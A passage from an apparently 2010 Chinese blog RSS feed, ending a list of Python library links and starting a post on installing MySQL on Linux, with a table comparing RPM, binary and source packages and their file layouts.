href="http://www.oschina.net/p/fmod">FMOD</A>&nbsp;http://www.fmod.org/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Sound&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pymidi">pyMIDI</A>&nbsp;http://www.cs.unc.edu/Research/assist/developer.shtml&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">GMail&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/libgmail">libgmail</A>&nbsp;http://libgmail.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Google&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pygoogle">pyGoogle</A>&nbsp;http://pygoogle.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Expect&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pexpect">pExpect</A>&nbsp;http://pexpect.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">WordNet pyWordNet http://osteele.com/projects/pywordnet/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Command line cmd http://blog.doughellmann.com/2008/05/pymotw-cmd.html&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Compiler backend llvm-py http://mdevan.nfshost.com/llvm-py/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">3D&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/vpython">VPython</A>&nbsp;http://vpython.org</SPAN></DIV>]]></description>
</item><item>
<title><![CDATA[Mysql基于Linux/Unix平台下的安装]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=49542</link>
<author>zhanglincon</author>
<pubDate>2010/8/11 17:35:49</pubDate>
<description><![CDATA[<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="mso-bidi-font-size: 10.5pt"><FONT face=Calibri>1,Linux</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-bidi-font-size: 10.5pt">下有三种安装包，各自的区别如下：</SPAN><SPAN lang=EN-US><o:p></o:p></SPAN></P>
<TABLE class=MsoTableLightShadingAccent5 style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext" cellSpacing=0 cellPadding=0 border=1>
<TBODY>
<TR style="mso-yfti-irow: -1; mso-yfti-firstrow: yes">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 62.1pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=83>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 5"><B><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 5cm; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=189>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 1"><B><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>RPM<o:p></o:p></FONT></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 115.7pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=154>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 1"><B><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">二进制</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 106.55pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" vAlign=top width=142>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 1"><B><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">源码</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></B></P></TD></TR>
<TR style="mso-yfti-irow: 0">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #d2eaf1; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 62.1pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent5; mso-background-themetint: 63" vAlign=top width=83>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 68"><B><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">优点</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #d2eaf1; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 5cm; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent5; mso-background-themetint: 63" vAlign=top width=189>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">安装简单</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #d2eaf1; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 115.7pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent5; mso-background-themetint: 63" vAlign=top width=154>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">安装简单，可以安装到任何路径下，灵活性好，一台服务器可以安装多个</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>Mysql</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">并可以同时启动多个</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>Mysql</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">服务</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #d2eaf1; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 106.55pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent5; mso-background-themetint: 63" vAlign=top width=142>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">可以根据需要定制编译，最灵活，性能最好；一台服务器可以安装多个</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>Mysql</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">并可以同时启动多个</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>Mysql</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">服务</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 1">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 62.1pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=83>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 4"><B><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">缺点</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 5cm; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=189>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">需要单独下载客户端和服务器，安装路径不灵活，默认路径不能修改，一台服务器只能安装一个</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>Mysql<o:p></o:p></FONT></SPAN></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 115.7pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=154>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">已经经过编译，性能不如源码编译的好，不能灵活定制编译参数</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 106.55pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=142>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">安装时间较长</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 2; mso-yfti-lastrow: yes">
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #d2eaf1; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 62.1pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent5; mso-background-themetint: 63" vAlign=top width=83>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 68"><B><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">文件布局</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></B></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #d2eaf1; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 5cm; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent5; mso-background-themetint: 63" vAlign=top width=189>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>/usr/bin(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">客户端程序和脚本</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>/usr/sbin(mysqld</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">服务器</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>/var/lib/mysql(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">日志文件和数据库</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>/usr/share/doc/packages(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">文档</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>/usr/include/mysql(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">包含</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">头</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>/usr/lib/mysql(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">库文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>/usr/share/mysql(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">错误消息和字符集文件</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>/usr/share/sql-bench(</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">基准程序</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>)<o:p></o:p></FONT></SPAN></P></TD>
<TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; BACKGROUND: #d2eaf1; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 115.7pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-background-themecolor: accent5; mso-background-themetint: 63" vAlign=top width=154>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-yfti-cnfc: 64"><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><FONT face=Calibri>$basedir</FONT></SPAN><SPAN style="COLOR: #31849b; FONT-FAMILY: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-themecolor: accent5; mso-themeshade: 191">为安装目录</SPAN><SPAN lang=EN-US style="COLOR: #31849b; mso-themecolor: accent5; mso-themeshade: 191"><o:p></o:p></SPAN></P>
